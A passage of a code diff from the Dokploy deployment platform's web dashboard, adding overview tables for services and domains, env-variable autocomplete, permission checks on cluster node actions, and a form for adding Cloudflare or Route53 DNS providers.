+													{domain.https ? "HTTPS" : "HTTP"}
+												</Badge>
+											</TableCell>
+											<TableCell>
+												<Badge variant="outline" className="capitalize">
+													{domain.certificateType}
+												</Badge>
+											</TableCell>
+											<TableCell>
+												<DateTooltip date={domain.createdAt} />
+											</TableCell>
+											<TableCell className="text-right">
+												{canToggleDomain ? (
+													<TooltipProvider>
+														<Tooltip>
+															<TooltipTrigger asChild>
+																<div className="flex items-center justify-end">
+																	<Switch
+																		checked={domain.enabled}
+																		onCheckedChange={() =>
+																			handleToggleEnable(domain)
+																		}
+																		disabled={isToggling}
+																	/>
+																</div>
+															</TooltipTrigger>
+															<TooltipContent>
+																<p>
+																	{domain.enabled
+																		? "Domain is active. Toggle to disable routing without deleting it."
+																		: "Domain is disabled and not routed. Toggle to enable it again."}
+																</p>
+															</TooltipContent>
+														</Tooltip>
+													</TooltipProvider>
+												) : (
+													<Badge
+														variant={domain.enabled ? "outline" : "secondary"}
+													>
+														{domain.enabled ? "Enabled" : "Disabled"}
+													</Badge>
+												)}
+											</TableCell>
+										</TableRow>
+									);
+								})}
+							</TableBody>
+						</Table>
+
+						<div className="flex items-center justify-between text-sm text-muted-foreground">
+							<span>
+								{filteredDomains.length}{" "}
+								{filteredDomains.length === 1 ? "domain" : "domains"} total
+							</span>
+							<div className="flex items-center gap-3">
+								<div className="flex items-center gap-2">
+									<span className="whitespace-nowrap">Rows per page</span>
+									<Select
+										value={String(pageSize)}
+										onValueChange={(value) => {
+											setPageSize(Number(value));
+											setPageIndex(0);
+										}}
+									>
+										<SelectTrigger className="w-[80px] h-8">
+											<SelectValue />
+										</SelectTrigger>
+										<SelectContent>
+											{PAGE_SIZE_OPTIONS.map((size) => (
+												<SelectItem key={size} value={String(size)}>
+													{size}
+												</SelectItem>
+											))}
+										</SelectContent>
+									</Select>
+								</div>
+								<span className="whitespace-nowrap">
+									Page {currentPageIndex + 1} of {pageCount}
+								</span>
+								<div className="flex gap-2">
+									<Button
+										variant="outline"
+										size="sm"
+										onClick={() => setPageIndex(currentPageIndex - 1)}
+										disabled={currentPageIndex === 0}
+									>
+										Previous
+									</Button>
+									<Button
+										variant="outline"
+										size="sm"
+										onClick={() => setPageIndex(currentPageIndex + 1)}
+										disabled={currentPageIndex + 1 >= pageCount}
+									>
+										Next
+									</Button>
+								</div>
+							</div>
+						</div>
+					</>
+				)}
+			</div>
+		</Card>
+	);
+};

apps/dokploy/components/dashboard/overview/show-overview-services.tsx

@@ -0,0 +1,550 @@
+import type {
+	OverviewServiceType,
+	OverviewSortBy,
+} from "@dokploy/server/services/overview-shared";
+import { sortOverviewServices } from "@dokploy/server/services/overview-shared";
+import {
+	Ban,
+	CircuitBoard,
+	GlobeIcon,
+	Loader2,
+	MoreHorizontal,
+	RefreshCw,
+	Search,
+	ServerIcon,
+} from "lucide-react";
+import Link from "next/link";
+import { useMemo, useState } from "react";
+import { toast } from "sonner";
+import { DB_ENGINE_ICONS } from "@/components/icons/data-tools-icons";
+import { DateTooltip } from "@/components/shared/date-tooltip";
+import { DialogAction } from "@/components/shared/dialog-action";
+import { StatusTooltip } from "@/components/shared/status-tooltip";
+import { Button } from "@/components/ui/button";
+import { Card } from "@/components/ui/card";
+import {
+	DropdownMenu,
+	DropdownMenuContent,
+	DropdownMenuItem,
+	DropdownMenuLabel,
+	DropdownMenuTrigger,
+} from "@/components/ui/dropdown-menu";
+import { Input } from "@/components/ui/input";
+import {
+	Select,
+	SelectContent,
+	SelectItem,
+	SelectTrigger,
+	SelectValue,
+} from "@/components/ui/select";
+import {
+	Table,
+	TableBody,
+	TableCell,
+	TableHead,
+	TableHeader,
+	TableRow,
+} from "@/components/ui/table";
+import { useSortPreference } from "@/hooks/use-sort-preference";
+import { api } from "@/utils/api";
+
+const PAGE_SIZE_OPTIONS = [25, 50, 100, 200];
+
+const TYPE_LABELS = {
+	application: "Application",
+	postgres: "PostgreSQL",
+	mariadb: "MariaDB",
+	mongo: "MongoDB",
+	mysql: "MySQL",
+	redis: "Redis",
+	compose: "Compose",
+	libsql: "Libsql",
+} satisfies Record<OverviewServiceType, string>;
+
+const STATUS_OPTIONS = ["running", "idle", "done", "error"];
+
+// "done" is the steady live state (green); "running" only holds mid-deploy (yellow) — relabeled to match what users expect.
+const STATUS_LABELS: Record<string, string> = {
+	running: "Deploying",
+	idle: "Idle",
+	done: "Running",
+	error: "Error",
+};
+
+const SORT_OPTIONS: { value: OverviewSortBy; label: string }[] = [
+	{ value: "lastDeploy-desc", label: "Recently deployed" },
+	{ value: "lastDeploy-asc", label: "Oldest deployed" },
+	{ value: "createdAt-desc", label: "Newest first" },
+	{ value: "createdAt-asc", label: "Oldest first" },
+	{ value: "name-asc", label: "Name (A-Z)" },
+	{ value: "name-desc", label: "Name (Z-A)" },
+	{ value: "type-asc", label: "Type (A-Z)" },
+	{ value: "type-desc", label: "Type (Z-A)" },
+];
+
+const SORT_VALUES = SORT_OPTIONS.map((opt) => opt.value);
+
+// libsql has no deploy/stop actions, same as environment/[environmentId].tsx.
+const idKeyByType: Record<string, string> = {
+	application: "applicationId",
+	compose: "composeId",
+	postgres: "postgresId",
+	mysql: "mysqlId",
+	mariadb: "mariadbId",
+	redis: "redisId",
+	mongo: "mongoId",
+};
+
+export const ShowOverviewServices = () => {
+	const utils = api.useUtils();
+	const {
+		data: services,
+		isLoading,
+		refetch,
+	} = api.overview.services.useQuery();
+	const { data: allProjects } = api.project.all.useQuery();
+
+	const [searchQuery, setSearchQuery] = useState("");
+	const [selectedProjectId, setSelectedProjectId] = useState("all");
+	const [selectedType, setSelectedType] = useState("all");
+	const [selectedStatus, setSelectedStatus] = useState("all");
+	const [selectedServerId, setSelectedServerId] = useState("all");
+	const [sortBy, setSort] = useSortPreference<OverviewSortBy>(
+		"overviewServicesSort",
+		"lastDeploy-desc",
+		SORT_VALUES,
+	);
+
+	const applicationActions = {
+		deploy: api.application.deploy.useMutation(),
+		stop: api.application.stop.useMutation(),
+	};
+	const composeActions = {
+		deploy: api.compose.deploy.useMutation(),
+		stop: api.compose.stop.useMutation(),
+	};
+	const postgresActions = {
+		deploy: api.postgres.deploy.useMutation(),
+		stop: api.postgres.stop.useMutation(),
+	};
+	const mysqlActions = {
+		deploy: api.mysql.deploy.useMutation(),
+		stop: api.mysql.stop.useMutation(),
+	};
+	const mariadbActions = {
+		deploy: api.mariadb.deploy.useMutation(),
+		stop: api.mariadb.stop.useMutation(),
+	};
+	const redisActions = {
+		deploy: api.redis.deploy.useMutation(),
+		stop: api.redis.stop.useMutation(),
+	};
+	const mongoActions = {
+		deploy: api.mongo.deploy.useMutation(),
+		stop: api.mongo.stop.useMutation(),
+	};
+
+	const actionsByType: Record<
+		string,
+		{
+			deploy: { mutateAsync: (input: any) => Promise<unknown> };
+			stop: { mutateAsync: (input: any) => Promise<unknown> };
+		}
+	> = {
+		application: applicationActions,
+		compose: composeActions,
+		postgres: postgresActions,
+		mysql: mysqlActions,
+		mariadb: mariadbActions,
+		redis: redisActions,
+		mongo: mongoActions,
+	};
+
+	const handleAction = async (
+		service: NonNullable<typeof services>[number],
+		action: "deploy" | "stop",
+	) => {
+		const actions = actionsByType[service.type];
+		const idKey = idKeyByType[service.type];
+		if (!actions || !idKey) return;
+
+		const labels =
+			action === "deploy"
+				? {
+						loading: "Deploying",
+						success: "queued for deployment",
+						error: "deploying",
+					}
+				: { loading: "Stopping", success: "stopped", error: "stopping" };
+
+		toast.promise(
+			(async () => {
+				await actions[action].mutateAsync({ [idKey]: service.id });
+			})(),
+			{
+				loading: `${labels.loading} ${service.name}...`,
+				success: () => {
+					utils.overview.services.invalidate();
+					return `${service.name} ${labels.success} successfully`;
+				},
+				error: (error) =>
+					`Error ${labels.error} ${service.name}: ${error instanceof Error ? error.message : "Unknown error"}`,
+			},
+		);
+	};
+
+	const availableServers = useMemo(() => {
+		if (!services) return [];
+		const map = new Map<string, string>();
+		for (const service of services) {
+			if (service.serverId && service.serverName) {
+				map.set(service.serverId, service.serverName);
+			}
+		}
+		return Array.from(map.entries()).map(([serverId, serverName]) => ({
+			serverId,
+			serverName,
+		}));
+	}, [services]);
+
+	const hasServicesWithoutServer = useMemo(
+		() => !!services?.some((service) => !service.serverId),
+		[services],
+	);
+
+	const filteredServices = useMemo(() => {
+		if (!services) return [];
+		const filtered = services.filter(
+			(service) =>
+				service.name.toLowerCase().includes(searchQuery.toLowerCase()) &&
+				(selectedProjectId === "all" ||
+					service.projectId === selectedProjectId) &&
+				(selectedType === "all" || service.type === selectedType) &&
+				(selectedStatus === "all" || service.status === selectedStatus) &&
+				(selectedServerId === "all" ||
+					(selectedServerId === "dokploy-server" && !service.serverId) ||
+					service.serverId === selectedServerId),
+		);
+		return sortOverviewServices(filtered, sortBy);
+	}, [
+		services,
+		searchQuery,
+		selectedProjectId,
+		selectedType,
+		selectedStatus,
+		selectedServerId,
+		sortBy,
+	]);
+
+	// pageIndex is clamped against the filtered count each render instead of reset via an effect.
+	const [pageSize, setPageSize] = useState(50);
+	const [pageIndex, setPageIndex] = useState(0);
+	const pageCount = Math.max(1, Math.ceil(filteredServices.length / pageSize));
+	const currentPageIndex = Math.min(pageIndex, pageCount - 1);
+	const pagedServices = filteredServices.slice(
+		currentPageIndex * pageSize,
+		currentPageIndex * pageSize + pageSize,
+	);
+
+	const renderIcon = (service: NonNullable<typeof services>[number]) => {
+		if (service.type in DB_ENGINE_ICONS) {
+			const Icon =
+				DB_ENGINE_ICONS[service.type as keyof typeof DB_ENGINE_ICONS];
+			return <Icon className="h-5 w-5" />;
+		}
+		if (service.icon) {
+			return (
+				<img
+					src={service.icon}
+					alt={service.name}
+					className="size-5 object-contain rounded-sm"
+				/>
+			);
+		}
+		return service.type === "compose" ? (
+			<CircuitBoard className="h-5 w-5" />
+		) : (
+			<GlobeIcon className="h-5 w-5" />
+		);
+	};
+
+	return (
+		<Card className="bg-sidebar p-2.5 rounded-xl w-full">
+			<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
+				<div className="flex flex-wrap items-center gap-3 justify-between">
+					<h3 className="text-lg font-medium">
+						Services{" "}
+						<span className="text-sm font-normal text-muted-foreground">
+							({filteredServices.length})
+						</span>
+					</h3>
+					<div className="flex flex-wrap items-center gap-2">
+						<div className="relative">
+							<Input
+								placeholder="Filter services..."
+								value={searchQuery}
+								onChange={(e) => setSearchQuery(e.target.value)}
+								className="pr-9 w-[200px]"
+							/>
+							<Search className="absolute right-3 top-1/2 -translate-y-1/2 size-4 text-muted-foreground" />
+						</div>
+						<Select
+							value={selectedProjectId}
+							onValueChange={setSelectedProjectId}
+						>
+							<SelectTrigger className="w-[160px]">
+								<SelectValue placeholder="Project" />
+							</SelectTrigger>
+							<SelectContent>
+								<SelectItem value="all">All projects</SelectItem>
+								{allProjects?.map((project) => (
+									<SelectItem key={project.projectId} value={project.projectId}>
+										{project.name}
+									</SelectItem>
+								))}
+							</SelectContent>
+						</Select>
+						<Select value={selectedType} onValueChange={setSelectedType}>
+							<SelectTrigger className="w-[150px]">
+								<SelectValue placeholder="Type" />
+							</SelectTrigger>
+							<SelectContent>
+								<SelectItem value="all">All types</SelectItem>
+								{Object.entries(TYPE_LABELS).map(([value, label]) => (
+									<SelectItem key={value} value={value}>
+										{label}
+									</SelectItem>
+								))}
+							</SelectContent>
+						</Select>
+						<Select value={selectedStatus} onValueChange={setSelectedStatus}>
+							<SelectTrigger className="w-[130px]">
+								<SelectValue placeholder="Status" />
+							</SelectTrigger>
+							<SelectContent>
+								<SelectItem value="all">All statuses</SelectItem>
+								{STATUS_OPTIONS.map((status) => (
+									<SelectItem key={status} value={status}>
+										{STATUS_LABELS[status] ?? status}
+									</SelectItem>
+								))}
+							</SelectContent>
+						</Select>
+						{(availableServers.length > 0 || hasServicesWithoutServer) && (
+							<Select
+								value={selectedServerId}
+								onValueChange={setSelectedServerId}
+							>
+								<SelectTrigger className="w-[170px]">
+									<SelectValue placeholder="Server" />
+								</SelectTrigger>
+								<SelectContent>
+									<SelectItem value="all">All servers</SelectItem>
+									{hasServicesWithoutServer && (
+										<SelectItem value="dokploy-server">
+											Dokploy server
+										</SelectItem>
+									)}
+									{availableServers.map((s) => (
+										<SelectItem key={s.serverId} value={s.serverId}>
+											{s.serverName}
+										</SelectItem>
+									))}
+								</SelectContent>
+							</Select>
+						)}
+						<Select
+							value={sortBy}
+							onValueChange={(v) => setSort(v as OverviewSortBy)}
+						>
+							<SelectTrigger className="w-[190px]">
+								<SelectValue placeholder="Sort by..." />
+							</SelectTrigger>
+							<SelectContent>
+								{SORT_OPTIONS.map((opt) => (
+									<SelectItem key={opt.value} value={opt.value}>
+										{opt.label}
+									</SelectItem>
+								))}
+							</SelectContent>
+						</Select>
+					</div>
+				</div>
+
+				{isLoading && (
+					<div className="flex items-center justify-center gap-2 py-16 text-muted-foreground">
+						<Loader2 className="size-4 animate-spin" />
+						Loading services...
+					</div>
+				)}
+
+				{!isLoading && filteredServices.length === 0 && (
+					<div className="flex flex-col items-center justify-center gap-2 py-16 text-muted-foreground">
+						<span>No services match the current filters.</span>
+					</div>
+				)}
+
+				{!isLoading && filteredServices.length > 0 && (
+					<>
+						<Table>
+							<TableHeader>
+								<TableRow>
+									<TableHead>Service</TableHead>
+									<TableHead>Type</TableHead>
+									<TableHead>Status</TableHead>
+									<TableHead>Server</TableHead>
+									<TableHead>Created</TableHead>
+									<TableHead>Last Deploy</TableHead>
+									<TableHead className="text-right">Actions</TableHead>
+								</TableRow>
+							</TableHeader>
+							<TableBody>
+								{pagedServices.map((service) => {
+									const href = `/dashboard/project/${service.projectId}/environment/${service.environmentId}/services/${service.type}/${service.id}`;
+									const hasActions = service.type in actionsByType;
+									return (
+										<TableRow key={service.id}>
+											<TableCell>
+												<Link href={href} className="flex items-center gap-2">
+													{renderIcon(service)}
+													<div className="flex flex-col min-w-0">
+														<span className="font-medium truncate">
+															{service.name}
+														</span>
+														<span className="text-xs font-normal text-muted-foreground">
+															{service.projectName} / {service.environmentName}
+														</span>
+													</div>
+												</Link>
+											</TableCell>
+											<TableCell>{TYPE_LABELS[service.type]}</TableCell>
+											<TableCell>
+												<StatusTooltip
+													status={service.status as any}
+													className="size-2.5"
+												/>
+											</TableCell>
+											<TableCell>
+												<div className="flex items-center gap-1.5 text-muted-foreground">
+													<ServerIcon className="size-3.5" />
+													<span className="truncate">
+														{service.serverName ?? "Dokploy server"}
+													</span>
+												</div>
+											</TableCell>
+											<TableCell>
+												<DateTooltip date={service.createdAt} />
+											</TableCell>
+											<TableCell>
+												{service.lastDeployAt ? (
+													<DateTooltip date={service.lastDeployAt} />
+												) : (
+													<span className="text-muted-foreground">—</span>
+												)}
+											</TableCell>
+											<TableCell className="text-right">
+												{hasActions && (
+													<DropdownMenu>
+														<DropdownMenuTrigger asChild>
+															<Button variant="ghost" className="h-8 w-8 p-0">
+																<span className="sr-only">Open menu</span>
+																<MoreHorizontal className="h-4 w-4" />
+															</Button>
+														</DropdownMenuTrigger>
+														<DropdownMenuContent align="end">
+															<DropdownMenuLabel className="truncate">
+																{service.name}
+															</DropdownMenuLabel>
+															<DialogAction
+																title="Deploy Service"
+																description={`Are you sure you want to deploy "${service.name}"?`}
+																type="default"
+																onClick={() => handleAction(service, "deploy")}
+															>
+																<DropdownMenuItem
+																	className="flex items-center gap-2"
+																	onSelect={(e) => e.preventDefault()}
+																>
+																	<RefreshCw className="size-4" />
+																	Deploy
+																</DropdownMenuItem>
+															</DialogAction>
+															<DialogAction
+																title="Stop Service"
+																description={`Are you sure you want to stop "${service.name}"?`}
+																onClick={() => handleAction(service, "stop")}
+															>
+																<DropdownMenuItem
+																	className="flex items-center gap-2 text-orange-500 focus:text-orange-500"
+																	onSelect={(e) => e.preventDefault()}
+																>
+																	<Ban className="size-4" />
+																	Stop
+																</DropdownMenuItem>
+															</DialogAction>
+														</DropdownMenuContent>
+													</DropdownMenu>
+												)}
+											</TableCell>
+										</TableRow>
+									);
+								})}
+							</TableBody>
+						</Table>
+
+						<div className="flex items-center justify-between text-sm text-muted-foreground">
+							<span>
+								{filteredServices.length}{" "}
+								{filteredServices.length === 1 ? "service" : "services"} total
+							</span>
+							<div className="flex items-center gap-3">
+								<div className="flex items-center gap-2">
+									<span className="whitespace-nowrap">Rows per page</span>
+									<Select
+										value={String(pageSize)}
+										onValueChange={(value) => {
+											setPageSize(Number(value));
+											setPageIndex(0);
+										}}
+									>
+										<SelectTrigger className="w-[80px] h-8">
+											<SelectValue />
+										</SelectTrigger>
+										<SelectContent>
+											{PAGE_SIZE_OPTIONS.map((size) => (
+												<SelectItem key={size} value={String(size)}>
+													{size}
+												</SelectItem>
+											))}
+										</SelectContent>
+									</Select>
+								</div>
+								<span className="whitespace-nowrap">
+									Page {currentPageIndex + 1} of {pageCount}
+								</span>
+								<div className="flex gap-2">
+									<Button
+										variant="outline"
+										size="sm"
+										onClick={() => setPageIndex(currentPageIndex - 1)}
+										disabled={currentPageIndex === 0}
+									>
+										Previous
+									</Button>
+									<Button
+										variant="outline"
+										size="sm"
+										onClick={() => setPageIndex(currentPageIndex + 1)}
+										disabled={currentPageIndex + 1 >= pageCount}
+									>
+										Next
+									</Button>
+								</div>
+							</div>
+						</div>
+					</>
+				)}
+			</div>
+		</Card>
+	);
+};

apps/dokploy/components/dashboard/project/environment-variables.tsx

@@ -6,6 +6,7 @@ import { toast } from "sonner";
 import { z } from "zod";
 import { AlertBlock } from "@/components/shared/alert-block";
 import { CodeEditor } from "@/components/shared/code-editor";
+import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
 import { Button } from "@/components/ui/button";
 import {
 	Dialog,
@@ -55,6 +56,11 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
 		},
 	);
 
+	const completionSource = useEnvCompletionSource({
+		includeShared: false,
+		projectId: data?.projectId,
+		environmentId,
+	});
 	const form = useForm<UpdateEnvironment>({
 		defaultValues: {
 			env: data?.env ?? "",
@@ -134,7 +140,9 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
 				<AlertBlock type="info">
 					Use this syntax to reference environment-level variables in your
 					service environments:{" "}
-					<code>API_URL=${"{{environment.API_URL}}"}</code>
+					<code>API_URL=${"{{environment.API_URL}}"}</code>. You can also
+					reference secrets from a configured vault provider:{" "}
+					<code>DB_URL=${"{{vault.<provider>.<secret>}}"}</code>
 				</AlertBlock>
 				<div className="grid gap-4">
 					<div className="grid items-center gap-4">
@@ -151,6 +159,7 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
 											<FormLabel>Environment variables</FormLabel>
 											<FormControl>
 												<CodeEditor
+													completionSource={completionSource}
 													lineWrapping
 													language="properties"
 													readOnly={!canWrite}

apps/dokploy/components/dashboard/projects/project-environment.tsx

@@ -6,6 +6,7 @@ import { toast } from "sonner";
 import { z } from "zod";
 import { AlertBlock } from "@/components/shared/alert-block";
 import { CodeEditor } from "@/components/shared/code-editor";
+import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
 import { Button } from "@/components/ui/button";
 import {
 	Dialog,
@@ -55,6 +56,10 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
 		},
 	);
 
+	const completionSource = useEnvCompletionSource({
+		includeShared: false,
+		projectId,
+	});
 	const form = useForm<UpdateProject>({
 		defaultValues: {
 			env: data?.env ?? "",
@@ -77,6 +82,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
 			.then(() => {
 				toast.success("Project env updated successfully");
 				utils.project.all.invalidate();
+				utils.project.one.invalidate({ projectId });
 			})
 			.catch(() => {
 				toast.error("Error updating the env");
@@ -149,6 +155,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
 											<FormLabel>Environment variables</FormLabel>
 											<FormControl>
 												<CodeEditor
+													completionSource={completionSource}
 													lineWrapping
 													language="properties"
 													readOnly={!canWrite}

apps/dokploy/components/dashboard/requests/request-distribution-chart.tsx

@@ -91,6 +91,7 @@ export const RequestDistributionChart = ({
 				<Area
 					dataKey="count"
 					type="monotone"
+					isAnimationActive={false}
 					fill="hsl(var(--chart-1))"
 					fillOpacity={0.4}
 					stroke="hsl(var(--chart-1))"

apps/dokploy/components/dashboard/requests/requests-table.tsx

@@ -328,7 +328,7 @@ export const RequestsTable = ({ dateRange }: RequestsTableProps) => {
 				open={!!selectedRow}
 				onOpenChange={(_open) => setSelectedRow(undefined)}
 			>
-				<SheetContent className="sm:max-w-[740px]  flex flex-col">
+				<SheetContent className="w-full sm:max-w-[740px]! flex flex-col">
 					<SheetHeader>
 						<SheetTitle>Request log</SheetTitle>
 						<SheetDescription>

apps/dokploy/components/dashboard/search-command.tsx

@@ -175,7 +175,7 @@ export const SearchCommand = () => {
 						</CommandItem>
 						<CommandItem
 							onSelect={() => {
-								router.push("/dashboard/deployments");
+								router.push("/dashboard/overview?tab=deployments");
 								setOpen(false);
 							}}
 						>

apps/dokploy/components/dashboard/settings/cluster/nodes/show-nodes.tsx

@@ -52,13 +52,14 @@ export const ShowNodes = ({ serverId }: Props) => {
 		serverId,
 	});
 	const { data: registry } = api.registry.all.useQuery();
+	const { data: permissions } = api.user.getPermissions.useQuery();
 
 	const { mutateAsync: deleteNode } = api.cluster.removeWorker.useMutation();
 
 	const haveAtLeastOneRegistry = !!(registry && registry?.length > 0);
 	return (
 		<div className="w-full">
-			<Card className="h-full bg-sidebar  p-2.5 rounded-xl  max-w-5xl mx-auto">
+			<Card className="h-full bg-sidebar p-2.5 rounded-xl mx-auto w-full">
 				<div className="rounded-xl bg-background shadow-md ">
 					<CardHeader className="flex flex-row gap-2 justify-between w-full items-center flex-wrap">
 						<div className="flex flex-col gap-2">
@@ -68,7 +69,7 @@ export const ShowNodes = ({ serverId }: Props) => {
 							</CardTitle>
 							<CardDescription>Add nodes to your cluster</CardDescription>
 						</div>
-						{haveAtLeastOneRegistry && (
+						{haveAtLeastOneRegistry && permissions?.server.create && (
 							<div className="flex flex-row gap-2">
 								<AddNode serverId={serverId} />
 							</div>
@@ -144,34 +145,35 @@ export const ShowNodes = ({ serverId }: Props) => {
 															<DropdownMenuContent align="end">
 																<DropdownMenuLabel>Actions</DropdownMenuLabel>
 																<ShowNodeData data={node} />
-																{!node?.ManagerStatus?.Leader && (
-																	<DialogAction
-																		title="Delete Node"
-																		description="Are you sure you want to delete this node from the cluster?"
-																		type="destructive"
-																		onClick={async () => {
-																			await deleteNode({
-																				nodeId: node.ID,
-																				serverId,
-																			})
-																				.then(() => {
-																					refetch();
-																					toast.success(
-																						"Node deleted successfully",
-																					);
+																{!node?.ManagerStatus?.Leader &&
+																	permissions?.server.delete && (
+																		<DialogAction
+																			title="Delete Node"
+																			description="Are you sure you want to delete this node from the cluster?"
+																			type="destructive"
+																			onClick={async () => {
+																				await deleteNode({
+																					nodeId: node.ID,
+																					serverId,
 																				})
-																				.catch(() => {
-																					toast.error("Error deleting node");
-																				});
-																		}}
-																	>
-																		<DropdownMenuItem
-																			onSelect={(e) => e.preventDefault()}
+																					.then(() => {
+																						refetch();
+																						toast.success(
+																							"Node deleted successfully",
+																						);
+																					})
+																					.catch(() => {
+																						toast.error("Error deleting node");
+																					});
+																			}}
 																		>
-																			Delete
-																		</DropdownMenuItem>
-																	</DialogAction>
-																)}
+																			<DropdownMenuItem
+																				onSelect={(e) => e.preventDefault()}
+																			>
+																				Delete
+																			</DropdownMenuItem>
+																		</DialogAction>
+																	)}
 															</DropdownMenuContent>
 														</DropdownMenu>
 													</TableCell>

apps/dokploy/components/dashboard/settings/dns/handle-dns-provider.tsx

@@ -0,0 +1,340 @@
+import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
+import { PenBoxIcon, PlusIcon } from "lucide-react";
+import { useEffect, useState } from "react";
+import { useForm } from "react-hook-form";
+import { toast } from "sonner";
+import { z } from "zod";
+import { dnsProviderIcons } from "@/components/icons/dns-provider-icons";
+import { AlertBlock } from "@/components/shared/alert-block";
+import { Button } from "@/components/ui/button";
+import {
+	Dialog,
+	DialogContent,
+	DialogDescription,
+	DialogFooter,
+	DialogHeader,
+	DialogTitle,
+	DialogTrigger,
+} from "@/components/ui/dialog";
+import {
+	Form,
+	FormControl,
+	FormDescription,
+	FormField,
+	FormItem,
+	FormLabel,
+	FormMessage,
+} from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import {
+	Select,
+	SelectContent,
+	SelectItem,
+	SelectTrigger,
+	SelectValue,
+} from "@/components/ui/select";
+import { api } from "@/utils/api";
+
+const providerLabels = {
+	cloudflare: "Cloudflare",
+	route53: "AWS Route53",
+} as const;
+
+type ProviderType = keyof typeof providerLabels;
+
+const DnsProviderSchema = z.object({
+	name: z
+		.string()
+		.min(1, { message: "Name is required" })
+		.regex(/^[a-zA-Z0-9_-]+$/, {
+			message: "Only letters, numbers, dashes and underscores",
+		}),
+	providerType: z.enum(["cloudflare", "route53"]),
+	apiToken: z.string(),
+	accessKeyId: z.string(),
+	secretAccessKey: z.string(),
+});
+
+type DnsProviderForm = z.infer<typeof DnsProviderSchema>;
+
+const defaultValues: DnsProviderForm = {
+	name: "",
+	providerType: "cloudflare",
+	apiToken: "",
+	accessKeyId: "",
+	secretAccessKey: "",
+};
+
+const buildConfig = (data: DnsProviderForm) => {
+	switch (data.providerType) {
+		case "cloudflare":
+			return {
+				providerType: "cloudflare" as const,
+				apiToken: data.apiToken,
+			};
+		case "route53":
+			return {
+				providerType: "route53" as const,
+				accessKeyId: data.accessKeyId,
+				secretAccessKey: data.secretAccessKey,
+			};
+	}
+};
+
+const extractErrorMessage = (err: unknown) => {
+	if (!(err instanceof Error)) return undefined;
+	try {
+		const issues = JSON.parse(err.message) as { message?: string }[];
+		if (Array.isArray(issues)) {
+			return issues
+				.map((issue) => issue.message)
+				.filter(Boolean)
+				.join(", ");
+		}
+	} catch {}
+	return err.message;
+};
+
+interface Props {
+	dnsProviderId?: string;
+}
+
+export const HandleDnsProvider = ({ dnsProviderId }: Props) => {
+	const utils = api.useUtils();
+	const [isOpen, setIsOpen] = useState(false);
+
+	const { data: provider } = api.dnsProvider.one.useQuery(
+		{ dnsProviderId: dnsProviderId || "" },
+		{ enabled: !!dnsProviderId && isOpen },
+	);
+
+	const { mutateAsync, isPending, error, isError } = dnsProviderId
+		? api.dnsProvider.update.useMutation()
+		: api.dnsProvider.create.useMutation();
+
+	const { mutateAsync: testConnection, isPending: isTesting } =
+		api.dnsProvider.testConnection.useMutation();
+
+	const form = useForm<DnsProviderForm>({
+		defaultValues,
+		resolver: zodResolver(DnsProviderSchema),
+	});
+
+	const providerType = form.watch("providerType");
+
+	useEffect(() => {
+		if (provider) {
+			form.reset({
+				...defaultValues,
+				name: provider.name,
+				providerType: provider.config.providerType,
+				...(provider.config.providerType === "cloudflare" && {
+					apiToken: provider.config.apiToken,
+				}),
+				...(provider.config.providerType === "route53" && {
+					accessKeyId: provider.config.accessKeyId,
+					secretAccessKey: provider.config.secretAccessKey,
+				}),
+			});
+		} else if (!dnsProviderId) {
+			form.reset(defaultValues);
+		}
+	}, [provider, dnsProviderId, form, isOpen]);
+
+	const onSubmit = async (data: DnsProviderForm) => {
+		const payload: any = {
+			name: data.name,
+			config: buildConfig(data),
+			...(dnsProviderId && { dnsProviderId }),
+		};
+		await mutateAsync(payload)
+			.then(() => {
+				toast.success(
+					dnsProviderId ? "DNS provider updated" : "DNS provider created",
+				);
+				utils.dnsProvider.all.invalidate();
+				setIsOpen(false);
+			})
+			.catch(() => {});
+	};
+
+	const onTestConnection = async () => {
+		const isValid = await form.trigger();
+		if (!isValid) {
+			return;
+		}
+		const data = form.getValues();
+		await testConnection({
+			config: buildConfig(data),
+			...(dnsProviderId && { dnsProviderId }),
+		})
+			.then(() => {
+				toast.success("Connection successful");
+			})
+			.catch((err) => {
+				toast.error("Connection failed", {
+					description: extractErrorMessage(err),
+				});
+			});
+	};
+
+	return (
+		<Dialog open={isOpen} onOpenChange={setIsOpen}>
+			<DialogTrigger asChild>
+				{dnsProviderId ? (
+					<Button
+						variant="ghost"
+						size="icon"
+						className="group hover:bg-blue-500/10"
+					>
+						<PenBoxIcon className="size-4 text-primary group-hover:text-blue-500" />
+					</Button>
+				) : (
+					<Button className="cursor-pointer space-x-3">
+						<PlusIcon className="h-4 w-4" />
+						Add Provider
+					</Button>
+				)}
+			</DialogTrigger>
+			<DialogContent className="max-h-screen overflow-y-auto sm:max-w-lg">
+				<DialogHeader>
+					<DialogTitle>
+						{dnsProviderId ? "Update DNS Provider" : "Add DNS Provider"}
+					</DialogTitle>
+					<DialogDescription>
+						Connect a DNS provider to create records for your domains
+						automatically instead of setting them up by hand.
+					</DialogDescription>
+				</DialogHeader>
+				{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
+				<Form {...form}>
+					<form
+						onSubmit={form.handleSubmit(onSubmit)}
+						className="grid w-full gap-4"
+					>
+						<FormField
+							control={form.control}
+							name="name"
+							render={({ field }) => (
+								<FormItem>
+									<FormLabel>Name</FormLabel>
+									<FormControl>
+										<Input placeholder="prod-cloudflare" {...field} />
+									</FormControl>
+									<FormMessage />
+								</FormItem>
+							)}
+						/>
+						<FormField
+							control={form.control}
+							name="providerType"
+							render={({ field }) => (
+								<FormItem>
+									<FormLabel>Provider</FormLabel>
+									<Select
+										onValueChange={field.onChange}
+										value={field.value}
+										disabled={!!dnsProviderId}
+									>
+										<FormControl>
+											<SelectTrigger>
+												<SelectValue placeholder="Select a provider" />
+											</SelectTrigger>
+										</FormControl>
+										<SelectContent>
+											{Object.entries(providerLabels).map(([value, label]) => {
+												const ProviderIcon =
+													dnsProviderIcons[value as ProviderType];
+												return (
+													<SelectItem key={value} value={value}>
+														<div className="flex flex-row items-center gap-2">
+															<ProviderIcon className="size-4 shrink-0" />
